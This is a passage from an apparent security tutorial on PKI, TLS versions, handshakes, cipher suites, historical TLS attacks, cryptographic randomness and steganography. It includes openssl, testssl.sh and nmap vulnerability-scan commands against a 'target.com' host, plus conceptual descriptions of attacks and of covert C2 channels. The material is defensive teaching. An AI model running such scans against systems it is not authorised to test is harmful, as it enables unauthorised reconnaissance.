  "Soft fail" = revocation checking provides minimal real protection
  Exception: Certificate Pinning — browser refuses connection if pin mismatch

CAA DNS Records:
  DNS record specifying which CAs may issue certificates for your domain
  example.com CAA 0 issue "letsencrypt.org"
  Prevents misissued certificates from unauthorised CAs
  Check: dig CAA yourdomain.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# PKI and certificate analysis:&lt;/span&gt;

&lt;span class="c"&gt;# View a server's full certificate chain:&lt;/span&gt;
openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; google.com:443 &lt;span class="nt"&gt;-showcerts&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"BEGIN|END|subject|issuer|Not"&lt;/span&gt;

&lt;span class="c"&gt;# Check certificate details:&lt;/span&gt;
openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; google.com:443 2&amp;gt;/dev/null | &lt;span class="se"&gt;\&lt;/span&gt;
    openssl x509 &lt;span class="nt"&gt;-noout&lt;/span&gt; &lt;span class="nt"&gt;-text&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"Subject:|Issuer:|Not After|DNS:"&lt;/span&gt;

&lt;span class="c"&gt;# Verify certificate chain:&lt;/span&gt;
openssl verify &lt;span class="nt"&gt;-CAfile&lt;/span&gt; /etc/ssl/certs/ca-certificates.crt certificate.pem

&lt;span class="c"&gt;# Check OCSP status:&lt;/span&gt;
openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; google.com:443 &lt;span class="nt"&gt;-status&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-A5&lt;/span&gt; &lt;span class="s2"&gt;"OCSP"&lt;/span&gt;

&lt;span class="c"&gt;# Check if certificate is about to expire (monitoring):&lt;/span&gt;
openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; target.com:443 2&amp;gt;/dev/null | &lt;span class="se"&gt;\&lt;/span&gt;
    openssl x509 &lt;span class="nt"&gt;-noout&lt;/span&gt; &lt;span class="nt"&gt;-enddate&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="nt"&gt;-F&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'{print $2}'&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    xargs &lt;span class="nt"&gt;-I&lt;/span&gt;&lt;span class="o"&gt;{}&lt;/span&gt; &lt;span class="nb"&gt;date&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"{}"&lt;/span&gt; +%s | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="nv"&gt;now&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt; +%s&lt;span class="si"&gt;)&lt;/span&gt; &lt;span class="s1"&gt;'{days=($1-now)/86400; print "Expires in " int(days) " days"}'&lt;/span&gt;

&lt;span class="c"&gt;# Monitor certificate changes (detect unexpected reissue):&lt;/span&gt;
openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; target.com:443 2&amp;gt;/dev/null | &lt;span class="se"&gt;\&lt;/span&gt;
    openssl x509 &lt;span class="nt"&gt;-fingerprint&lt;/span&gt; &lt;span class="nt"&gt;-sha256&lt;/span&gt; &lt;span class="nt"&gt;-noout&lt;/span&gt;
&lt;span class="c"&gt;# Compare fingerprint over time — unexpected change = possible attack or cert rotation&lt;/span&gt;

&lt;span class="c"&gt;# Certificate transparency monitoring (your domain):&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s2"&gt;"https://crt.sh/?q=yourdomain.com&amp;amp;output=json"&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"
import json,sys
certs = json.load(sys.stdin)
for c in certs[:10]:
    print(c['not_before'][:10], c['name_value'], c['issuer_name'][:50])
"&lt;/span&gt;
&lt;span class="c"&gt;# Review for unexpected certificates issued for your domain&lt;/span&gt;

&lt;span class="c"&gt;# Generate self-signed certificate (for testing/internal use only):&lt;/span&gt;
openssl req &lt;span class="nt"&gt;-x509&lt;/span&gt; &lt;span class="nt"&gt;-newkey&lt;/span&gt; rsa:4096 &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-keyout&lt;/span&gt; private.pem &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-out&lt;/span&gt; certificate.pem &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-days&lt;/span&gt; 365 &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-subj&lt;/span&gt; &lt;span class="s2"&gt;"/CN=localhost/O=Test/C=US"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-addext&lt;/span&gt; &lt;span class="s2"&gt;"subjectAltName=DNS:localhost,IP:127.0.0.1"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  10. SSL/TLS — How Secure Connections Work
&lt;/h2&gt;

&lt;h3&gt;
  
  
  10.1 SSL to TLS Evolution
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Timeline:
  SSL 1.0 (Netscape, 1994): Never released (serious flaws found)
  SSL 2.0 (1995):           Released, flaws found quickly
  SSL 3.0 (1996):           Still broken (POODLE 2014 — CVE-2014-3566)
  TLS 1.0 (1999):           RFC 2246, BEAST vulnerability (CVE-2011-3389)
  TLS 1.1 (2006):           Fixed BEAST, still has issues
  TLS 1.2 (2008):           Current acceptable standard
  TLS 1.3 (2018):           Current best practice, significant redesign

Deprecated (should not be used):
  SSL 2.0, SSL 3.0: COMPLETELY BROKEN, disable everywhere
  TLS 1.0, TLS 1.1: Deprecated by RFC 8996 (2021)
                    Chrome/Firefox removed support 2020

  Current standard: TLS 1.2 minimum, TLS 1.3 preferred
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  10.2 What TLS Provides
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;TLS provides a secure channel with three properties:

1. Confidentiality: All application data encrypted
   (Before TLS: plaintext visible to any network observer)

2. Integrity: Data cannot be modified without detection
   (HMAC or AEAD authentication tags detect any tampering)

3. Authentication: Server (and optionally client) identity verified
   (Via certificate chain validation)

What TLS does NOT protect:
  - Metadata: IP addresses, TCP ports, timing, volume
  - Server-side application vulnerabilities
  - The DNS lookup that led to the connection
  - Traffic analysis (size and timing patterns)
  - Certificate validity (user must check/browser must validate)

TLS components:
  Record Protocol: Fragments, compresses (deprecated), encrypts, MACs application data
  Handshake Protocol: Negotiates cipher suite, authenticates server, establishes keys
  Alert Protocol: Signals errors and close notifications
  Change Cipher Spec: Signals switch to negotiated cipher (TLS 1.2 only)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  10.3 TLS Cipher Suites
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;TLS 1.2 Cipher Suite naming (verbose):
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

  TLS:         Protocol
  ECDHE:       Key Exchange (Elliptic Curve Diffie-Hellman Ephemeral — forward secrecy)
  RSA:         Authentication (certificate type — RSA cert verifies server identity)
  WITH:        Separator
  AES_256_GCM: Symmetric cipher (AES 256-bit in GCM mode)
  SHA384:      HMAC algorithm for integrity (for PRF function in TLS 1.2)

Components:
  Key Exchange: ECDHE &amp;gt; DHE &amp;gt; RSA (RSA key exchange has no forward secrecy — avoid)
  Auth:         ECDSA &amp;gt; RSA (for certificates)
  Cipher:       AES-GCM &amp;gt; AES-CBC (GCM is authenticated, CBC requires separate MAC)
  PRF/HMAC:     SHA-384 &amp;gt; SHA-256 &amp;gt; MD5/SHA-1 (avoid weak hashes)

TLS 1.3 cipher suites (simplified, only 5 allowed):
  TLS_AES_128_GCM_SHA256         (default, fast)
  TLS_AES_256_GCM_SHA384         (high security)
  TLS_CHACHA20_POLY1305_SHA256   (mobile/embedded — faster without AES-NI)
  TLS_AES_128_CCM_SHA256         (constrained environments)
  TLS_AES_128_CCM_8_SHA256       (very constrained IoT)

  Note: TLS 1.3 separates authentication (certificate) from key exchange
        No more RSA key exchange — only ECDHE or DHE
        All TLS 1.3 cipher suites have forward secrecy by default

Weak cipher suites to detect and disable:
  *_NULL_*:    No encryption (plaintext)
  *_EXPORT_*:  40/56-bit keys (FREAK/Logjam attack)
  *_RC4_*:     RC4 stream cipher (broken since 2013)
  *_DES_*:     56-bit DES (trivially cracked)
  *_3DES_*:    112-bit 3DES (SWEET32, slow)
  *_MD5:       MD5 MAC (broken)
  *_SHA:       SHA-1 MAC (weakened)
  *RSA_WITH_*: RSA key exchange (no forward secrecy)
  *_ANON_*:    Anonymous (no authentication — trivial MITM)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  11. TLS Handshake — Deep Dive
&lt;/h2&gt;

&lt;h3&gt;
  
  
  11.1 TLS 1.2 Handshake
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;TLS 1.2 Full Handshake:

Client                                         Server
  │                                               │
  │──── ClientHello ───────────────────────────→  │
  │  Version: TLS 1.2                             │
  │  Random: 32 bytes (includes timestamp)        │
  │  Session ID: (for resumption)                 │
  │  Cipher Suites: [list of supported]           │
  │  Extensions: SNI, ALPN, elliptic curves...    │
  │                                               │
  │ ←── ServerHello ─────────────────────────── │
  │  Version: TLS 1.2                             │
  │  Random: 32 bytes                             │
  │  Session ID: (new or resumed)                 │
  │  Cipher Suite: SELECTED ONE                   │
  │                                               │
  │ ←── Certificate ─────────────────────────── │
  │  Server's X.509 certificate(s)               │
  │  [Full chain: end-entity + intermediates]     │
  │                                               │
  │ ←── ServerKeyExchange (if ECDHE/DHE) ─────  │
  │  DH parameters + server's DH public value    │
  │  Signed with server's private key            │
  │                                               │
  │ ←── ServerHelloDone ─────────────────────── │
  │                                               │
  │ Client validates:                             │
  │   Certificate chain → trusted CA             │
  │   Server hostname matches SAN                │
  │   Not expired, not revoked                   │
  │   ServerKeyExchange signature valid          │
  │                                               │
  │──── ClientKeyExchange ──────────────────────→ │
  │  Client's DH public value                    │
  │                                               │
  │  [Both compute: Pre-Master Secret from DH]   │
  │  [Both derive: Master Secret]                │
  │  [Both derive: 4 session keys from MS]       │
  │    client_write_key, server_write_key        │
  │    client_write_MAC, server_write_MAC        │
  │                                               │
  │──── ChangeCipherSpec ───────────────────────→ │
  │  "I'll now use the negotiated cipher"        │
  │                                               │
  │──── Finished (encrypted) ───────────────────→ │
  │  HMAC of entire handshake transcript         │
  │  Verifies nothing was tampered during setup  │
  │                                               │
  │ ←── ChangeCipherSpec ─────────────────────── │
  │ ←── Finished (encrypted) ─────────────────── │
  │                                               │
  │ ════════ Application Data (encrypted) ═══════ │

Total round trips: 2-RTT (2 full round trips before data flows)
This latency matters — TLS 1.3 reduces to 1-RTT
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  11.2 TLS 1.3 Handshake
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;TLS 1.3 Handshake — Redesigned for speed and security:

Client                                         Server
  │                                               │
  │──── ClientHello ───────────────────────────→  │
  │  Version: TLS 1.3                             │
  │  Random: 32 bytes                             │
  │  Cipher Suites: [TLS 1.3 only suites]        │
  │  key_share: Client's ECDH public key          │
  │  (Client guesses server's preferred group)    │
  │  supported_versions: [TLS 1.3, TLS 1.2...]   │
  │  pre_shared_key: (for 0-RTT resumption)       │
  │                                               │
  │  [Server can now compute handshake key]       │
  │  [Server begins encrypting immediately]       │
  │                                               │
  │ ←── ServerHello ─────────────────────────── │
  │  Version: TLS 1.3                             │
  │  key_share: Server's ECDH public key          │
  │  (Both now compute shared secret)             │
  │                                               │
  │ ←── {Certificate} ────────────────────────── │ ← Encrypted!
  │ ←── {CertificateVerify} ──────────────────── │ ← Encrypted!
  │  Signature over entire handshake transcript  │
  │ ←── {Finished} ────────────────────────────── │ ← Encrypted!
  │                                               │
  │ Client validates certificate (encrypted)     │
  │                                               │
  │──── {Finished} ─────────────────────────────→ │
  │                                               │
  │ ════════ Application Data (encrypted) ═══════ │

Key improvements in TLS 1.3:
  1-RTT: Faster by one full round trip (vs TLS 1.2's 2-RTT)
  0-RTT: Session resumption can send data in the first message
         (Security tradeoff: 0-RTT data not forward secret, replay risk)

  No more:
    RSA key exchange (eliminated — only ECDHE/DHE)
    CBC cipher suites (GCM and ChaCha20 only)
    MD5, SHA-1 in MAC (SHA-256 minimum)
    DH with &amp;lt;2048-bit primes
    Export cipher suites
    Session renegotiation (was a security issue in TLS 1.2)
    Compression (CRIME attack)

  Certificate and CertificateVerify now encrypted:
    In TLS 1.2, certificate was sent in plaintext → server identity visible to observer
    In TLS 1.3, certificate encrypted → privacy improvement

  Encrypted ClientHello (ECH) — draft standard:
    Extends encryption to ClientHello (SNI currently plaintext)
    When standardised: server hostname hidden from observer
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  11.3 TLS Attack Landscape
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;BEAST (CVE-2011-3389):
  Target: TLS 1.0 CBC mode
  Method: Chosen-boundary attack against CBC's predictable IV
  Impact: Decrypt HTTPS session cookies
  Fix: Use TLS 1.2+ (fixed IV handling), use RC4 (now broken too), AES-GCM

CRIME (CVE-2012-4929):
  Target: TLS compression (DEFLATE)
  Method: Compression oracle — inject guesses, observe size change
  Impact: Recover HTTPS cookies
  Fix: Disable TLS compression (disabled by default in all modern implementations)

POODLE (CVE-2014-3566):
  Target: SSL 3.0 CBC mode
  Method: Padding oracle after downgrade to SSL 3.0
  Impact: Decrypt session cookies
  Fix: Disable SSL 3.0 entirely, use TLS 1.2+

Heartbleed (CVE-2014-0160):
  Target: OpenSSL heartbeat extension (TLS extension)
  Method: Missing bounds check — request more data than sent
  Impact: Up to 64KB of server memory per request
          Exposed: private keys, session tickets, passwords, other secrets
  Fix: Patch OpenSSL (1.0.1g), reissue all certificates, rotate secrets

FREAK (CVE-2015-0204):
  Target: Export cipher suites (forced by 90s US regulations)
  Method: Force server to use RSA-EXPORT (512-bit) → factor in hours
  Impact: Decrypt HTTPS connections to affected servers
  Fix: Disable all EXPORT cipher suites

Logjam (CVE-2015-4000):
  Target: DHE-EXPORT (512-bit DH parameters)
  Method: Precompute discrete logarithm table for 512-bit primes
          NSA-scale attack feasible against 1024-bit primes
  Impact: Passive decryption of many HTTPS+VPN connections
  Fix: Minimum 2048-bit DH parameters, use ECDHE instead

ROBOT (2017):
  Target: RSA PKCS#1v1.5 padding in TLS
  Method: Bleichenbacher's 1998 oracle attack resurrected
          Server's different error responses for valid vs invalid padding
  Impact: Decrypt RSA-encrypted TLS sessions (if no forward secrecy)
  Affected: F5, Citrix, Cisco, Palo Alto, Radware, many others
  Fix: Constant-time RSA decryption, use ECDHE (no RSA key exchange)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# TLS security testing:&lt;/span&gt;

&lt;span class="c"&gt;# Test TLS configuration comprehensively:&lt;/span&gt;
&lt;span class="c"&gt;# testssl.sh (most comprehensive):&lt;/span&gt;
bash testssl.sh target.com:443

&lt;span class="c"&gt;# Quick checks:&lt;/span&gt;
nmap &lt;span class="nt"&gt;--script&lt;/span&gt; ssl-enum-ciphers,ssl-heartbleed,ssl-poodle,ssl-dh-params &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-p&lt;/span&gt; 443 target.com

&lt;span class="c"&gt;# Check supported TLS versions:&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;version &lt;span class="k"&gt;in &lt;/span&gt;ssl2 ssl3 tls1 tls1_1 tls1_2 tls1_3&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    if &lt;/span&gt;openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; target.com:443 -&lt;span class="nv"&gt;$version&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="se"&gt;\&lt;/span&gt;
            &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="s2"&gt;"CONNECTED"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
        &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$version&lt;/span&gt;&lt;span class="s2"&gt;: SUPPORTED"&lt;/span&gt;
    &lt;span class="k"&gt;else
        &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$version&lt;/span&gt;&lt;span class="s2"&gt;: NOT supported"&lt;/span&gt;
    &lt;span class="k"&gt;fi
done&lt;/span&gt;

&lt;span class="c"&gt;# Check certificate details and chain:&lt;/span&gt;
openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; target.com:443 &lt;span class="nt"&gt;-showcerts&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="se"&gt;\&lt;/span&gt;
    openssl x509 &lt;span class="nt"&gt;-noout&lt;/span&gt; &lt;span class="nt"&gt;-text&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"Not After|Signature Algorithm|Public-Key:"&lt;/span&gt;

&lt;span class="c"&gt;# Decrypt TLS traffic (requires pre-master secret log):&lt;/span&gt;
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;SSLKEYLOGFILE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/tmp/ssl_keys.log
curl https://target.com/api/data  &lt;span class="c"&gt;# Keys logged&lt;/span&gt;
&lt;span class="c"&gt;# Open in Wireshark: Edit → Preferences → Protocols → TLS → (Pre)-Master-Secret log&lt;/span&gt;

&lt;span class="c"&gt;# Test HSTS:&lt;/span&gt;
curl &lt;span class="nt"&gt;-sI&lt;/span&gt; https://target.com | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s2"&gt;"strict-transport"&lt;/span&gt;
&lt;span class="c"&gt;# max-age should be ≥31536000 (1 year)&lt;/span&gt;
&lt;span class="c"&gt;# includeSubDomains recommended&lt;/span&gt;
&lt;span class="c"&gt;# preload for browser preload list&lt;/span&gt;

&lt;span class="c"&gt;# Certificate pinning test:&lt;/span&gt;
curl &lt;span class="nt"&gt;-sI&lt;/span&gt; &lt;span class="nt"&gt;--pinnedpubkey&lt;/span&gt; sha256//HASH&lt;span class="o"&gt;=&lt;/span&gt; https://target.com
&lt;span class="c"&gt;# If pinning correct: 200&lt;/span&gt;
&lt;span class="c"&gt;# If wrong pin: SSL error&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  12. Cryptographic Randomness
&lt;/h2&gt;

&lt;h3&gt;
  
  
  12.1 Why Randomness Is Critical
&lt;/h3&gt;

&lt;p&gt;Cryptography requires random numbers for key generation, IVs, salts, nonces, and ephemeral DH values. If these "random" values are predictable, the entire cryptographic system fails regardless of the strength of the algorithm.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;What breaks when randomness is weak:

Key generation: Predictable private key → attacker knows your key without brute force
AES IV:         Predictable IV → pattern in ciphertext, BEAST-like attacks
ECDSA nonce:    Predictable k → private key recovery (PS3, Android Bitcoin wallet)
Salt:           Predictable salt → precomputed table attacks possible
Session tokens: Predictable tokens → session hijacking without authentication
VPN key:        Predictable key → full traffic decryption (DUHK attack 2017)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  12.2 PRNG vs CSPRNG
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PRNG (Pseudo-Random Number Generator):
  Deterministic algorithm that produces "random-looking" numbers
  Seeded with initial value
  Given seed: entire sequence is deterministic

  Examples: rand() in C, Math.random() in JavaScript
  Use for: simulation, games, non-security randomness
  NEVER use for: cryptographic keys, tokens, passwords, security

  Attack: if attacker knows seed (e.g., current timestamp), they can
          predict all "random" numbers → broken crypto

CSPRNG (Cryptographically Secure PRNG):
  Designed to be computationally infeasible to predict next output
  Even with knowledge of all previous output
  Forward secrecy: learning current state doesn't reveal past output
  Backward secrecy: predicting future output is infeasible

  Examples:
  Linux: /dev/urandom (modern Linux: uses CSPRNG, safe for all uses)
  Linux: /dev/random (legacy: blocks until entropy; /dev/urandom is preferred)
  Windows: CryptGenRandom, BCryptGenRandom
  OpenSSL: RAND_bytes()
  Python: os.urandom(), secrets module

/dev/random vs /dev/urandom (Linux):
  Myth: /dev/urandom is weaker than /dev/random
  Truth: Both use same CSPRNG kernel; /dev/random blocks unnecessarily
  Modern Linux (kernel 5.6+): both behave identically
  ALWAYS use: /dev/urandom or the secrets module
  NEVER block applications waiting for /dev/random
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  12.3 Entropy
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Entropy in cryptography: measure of unpredictability (bits)

High entropy: 256-bit key from CSPRNG (truly unpredictable, 2^256 possibilities)
Low entropy:  256-bit key from timestamp (only milliseconds in a day)

Entropy sources (Linux kernel entropy pool):
  Hardware: CPU timing jitter, thermal noise, hardware RNG (RDRAND)
  Devices: Disk I/O timing, network packet arrival timing
  User: Keyboard/mouse timing
  Early boot: Low entropy problem (all sources above unavailable)

The "entropy starvation" problem:
  Embedded systems, VMs, and containers often lack entropy at boot

  Impact: If CSPRNG generates keys before sufficient entropy is collected:
          Keys may be predictable

  Real attack (2012): Heninger et al. analysed millions of RSA public keys
                      Found many shared factors (same primes in different keys)
                      Root cause: entropy-starved key generation at first boot
                      Multiple different devices generated the same "random" primes

  Solution:
  Hardware RNG: Intel RDRAND instruction (hardware true RNG)
  virtio-rng: Feed entropy to VMs from host
  haveged: Software entropy daemon
  rng-tools: Hardware RNG interface daemon
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Cryptographic randomness in practice:&lt;/span&gt;

&lt;span class="c"&gt;# Generate secure random values:&lt;/span&gt;
openssl rand &lt;span class="nt"&gt;-hex&lt;/span&gt; 32                       &lt;span class="c"&gt;# 32 bytes = 256-bit random key (hex)&lt;/span&gt;
openssl rand &lt;span class="nt"&gt;-base64&lt;/span&gt; 32                    &lt;span class="c"&gt;# 32 bytes as base64&lt;/span&gt;
openssl rand &lt;span class="nt"&gt;-out&lt;/span&gt; keyfile.bin 32           &lt;span class="c"&gt;# Write 32 random bytes to file&lt;/span&gt;

&lt;span class="c"&gt;# Python — ALWAYS use secrets module for cryptographic randomness:&lt;/span&gt;
python3 &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
import secrets, os

# Secure token for session IDs, CSRF tokens, etc:
token = secrets.token_hex(32)              # 64-char hex string (256 bits)
print(f"Secure token: {token}")

# Secure random bytes for key material:
key = secrets.token_bytes(32)              # 32 random bytes
print(f"Key (hex): {key.hex()}")

# os.urandom() is equivalent and always cryptographically secure:
key2 = os.urandom(32)
print(f"os.urandom key: {key2.hex()}")

# WRONG: Do not use random module for security:
import random
insecure = random.randbytes(32)
# This is NOT cryptographically secure — don't use for keys/tokens/salts
# random.randbytes looks secure but can be predicted if seed is known
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;&lt;span class="c"&gt;# Check entropy on Linux:&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /proc/sys/kernel/random/entropy_avail    &lt;span class="c"&gt;# Current entropy bits available&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /proc/sys/kernel/random/pool_size        &lt;span class="c"&gt;# Entropy pool size&lt;/span&gt;

&lt;span class="c"&gt;# Check hardware RNG availability:&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /sys/devices/virtual/misc/hw_random/rng_available
&lt;span class="nb"&gt;ls&lt;/span&gt; /dev/hwrng                                &lt;span class="c"&gt;# Hardware RNG device&lt;/span&gt;

&lt;span class="c"&gt;# Install entropy daemon for servers/VMs:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;haveged
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl start haveged
&lt;span class="nb"&gt;cat&lt;/span&gt; /proc/sys/kernel/random/entropy_avail    &lt;span class="c"&gt;# Should be much higher now&lt;/span&gt;

&lt;span class="c"&gt;# Test PRNG quality (diehard/NIST tests):&lt;/span&gt;
openssl rand 1000000 &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/random.bin
ent /tmp/random.bin                          &lt;span class="c"&gt;# Entropy test (install: apt install ent)&lt;/span&gt;
&lt;span class="c"&gt;# Entropy: should be close to 8.00 bits/byte&lt;/span&gt;
&lt;span class="c"&gt;# Chi-square: should be within expected range&lt;/span&gt;
&lt;span class="c"&gt;# Serial correlation: should be close to 0.00&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Weak randomness is the silent killer of cryptographic systems. AES-256 with a predictable key provides no security. ECDSA with a repeated nonce loses the private key. Session tokens generated with timestamp seeds are trivially predictable. Always use CSPRNG (/dev/urandom, os.urandom(), secrets module) and never use general-purpose PRNGs (rand(), random.random()) for any security purpose.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  13. Steganography
&lt;/h2&gt;

&lt;h3&gt;
  
  
  13.1 What Steganography Is
&lt;/h3&gt;

&lt;p&gt;Steganography (Greek: "hidden writing") is the practice of concealing a message within another, non-secret, file or communication. Unlike cryptography, which makes content unreadable, steganography hides the existence of the message itself.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Steganography vs Cryptography:

Cryptography:
  "Hello World" → encrypted → "x7Kp2mQ9..." (obviously encrypted)
  Attacker knows: a secret message exists, cannot read it

Steganography:
  "Hello World" hidden inside a photo of a cat
  Attacker sees: a photo of a cat
  Attacker doesn't know: a secret message exists

Combined (crypto + stego):
  Encrypt "Hello World" → encrypt it → hide encrypted data in cat photo
  Even if stego is detected: encrypted content cannot be read
  This is what sophisticated threat actors and C2 channels use
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  13.2 Steganography Techniques
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Image Steganography — LSB (Least Significant Bit):

  Each pixel in a 24-bit RGB image has: R(8 bits) G(8 bits) B(8 bits)
  Changing the least significant bit changes colour by 1/256 — visually imperceptible

  Original pixel: R=11010110, G=10010100, B=11100010
  Modified pixel: R=11010111, G=10010100, B=11100011
  (Changed LSB of R and B to embed 2 bits of hidden data)

  Capacity: 3 bits per pixel (one per RGB channel)
  24-bit 1920×1080 image: 1920×1080×3 = 6.2 million bits = ~750KB of hidden data

  Detection: Statistical analysis (chi-square test detects LSB pattern anomalies)
  Steganalysis tools: StegExpose, StegoSuite

Audio Steganography:
  Hide data in audio file LSBs (imperceptible to human hearing)
  Phase modification: hide in phase of audio signal
  Echo hiding: encode data in echo parameters

Network Steganography:
  ICMP payload: hide data in ping packet payload
  TCP timestamp: encode data in TCP timestamp option
  DNS: hide data in subdomain labels or response padding
  HTTP headers: hide in custom headers or timing

  This is particularly relevant for C2 (command and control):
  Malware uses network steganography to blend C2 traffic with legitimate traffic
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  13.3 Steganography in Security
